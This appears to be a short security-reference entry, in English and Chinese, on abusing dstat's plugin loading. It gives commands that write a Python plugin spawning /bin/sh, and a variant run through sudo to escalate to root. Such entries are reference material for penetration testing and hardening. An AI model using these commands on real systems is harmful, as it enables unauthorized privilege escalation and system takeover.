dstat
allows you to run arbitrary python
scripts loaded as "external plugins" if they are located in one of the directories stated in the dstat
man page under "FILES":
1. ~/.dstat/
2. (path of binary)/plugins/
3. /usr/share/dstat/
4. /usr/local/share/dstat/
Pick the one that you can write into.
用来生成一个交互式的系统shell。
mkdir -p ~/.dstat
echo 'import os; os.execv("/bin/sh", ["sh"])' >~/.dstat/dstat_xxx.py
dstat --xxx
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
sudo dstat --xxx